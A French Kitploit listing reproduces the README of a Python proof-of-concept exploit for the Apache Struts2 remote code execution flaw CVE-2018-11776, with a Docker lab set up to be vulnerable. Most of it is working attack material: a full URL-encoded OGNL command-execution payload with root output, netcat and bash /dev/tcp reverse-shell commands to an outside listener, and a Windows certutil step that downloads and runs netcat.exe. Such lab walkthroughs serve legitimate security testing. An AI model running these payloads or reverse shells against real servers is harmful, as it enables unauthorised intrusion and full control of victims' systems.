Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-11776-Python-PoC — Test Python fonctionnel et PoC pour CVE-2018-11776, inclut un laboratoire Docker | Kitploit
Outils/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges UtilesLabs et Pratique
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

Test Python fonctionnel et PoC pour CVE-2018-11776, inclut un laboratoire Docker

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
12349il y a 7 ansVérifié par Kitploit

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c sur Twitter

Test et PoC Python fonctionnels pour CVE-2018-11776, apparus initialement sur ; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

Que se passe-t-il ?

Man Yue Mo de Semmle a divulgué une vulnérabilité RCE dans Struts2, délivrée dans une charge utile encodée dans le chemin URL d'une requête.

Les versions affectées sont 2.3 à 2.3.34, et 2.5 à 2.5.16.

La configuration par défaut n'est pas vulnérable, mais si mal configuré... F.

Configurer votre instance Docker

l'exploit fonctionnera parfaitement avec le conteneur Docker construit pour cve-2017-5638 (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

Configurer votre configuration affaiblie

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

ajoutez la configuration ci-dessous ;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

et aussi ;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

redémarrez votre tomcat et/ou conteneur

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

Vérifier que la cible est vulnérable

testez l'URL pour voir si une redirection et une évaluation se produisent ;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

avec le script de test ;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

Exécuter les commandes PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

Shell inversé

préparez votre machine à accepter le shell inversé ;

root@kitploit:~
$ netcat -lvp 31337

exécutez le script ;

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

remplacez 32771 par le port exposé de votre conteneur

Méthode mise à jour via Bash, les barres obliques sont désormais prises en charge.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Shell inversé Windows (non testé)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

Enfer du débogage (notes)

Toutes les requêtes avec une barre oblique (/) échoueront car Tomcat les bloque activement, vous devrez peut-être contourner ce problème, par exemple en utilisant des variables d'environnement pour /bin/bash comme $SHELL dans l'exemple ci-dessus.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

Dans cet esprit, le drapeau /c de Windows ne fonctionnera pas comme prévu. Je n'ai testé cela que sur le conteneur Docker.

Mise à jour

Merci à @Menin_TheMiddle d'avoir montré que le problème de barre oblique peut être résolu, le code prend désormais en charge les barres obliques et donc un shell inversé sans netcat via bash est désormais également possible, et prend également en charge les instances Windows (non testé).

Atténuation

Corrigez votre Struts, ou simplement ne l'utilisez pas.

Je suppose que vous pouvez toujours vendre des produits d'usurpation d'identité si vous avez une fuite et que tous les détails de vos clients sont divulgués ! (vous savez qui vous êtes, ordure absolue)

Crédits

Merci à ;

  • Man Yue Mo, Semmle pour avoir divulgué la vulnérabilité (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity pour le laboratoire Dockerfile et l'exemple de charge utile OGNL (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x pour l'article sur la méthode (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 pour le test (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle pour l'article (https://www.secjuice.com/apache-struts2-cve-2018-11776/) et pour m'avoir remis à ma place :) le code prend désormais enfin en charge le shell inversé Windows et bash

Salutations

un grand merci à vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

Télécharger l’outil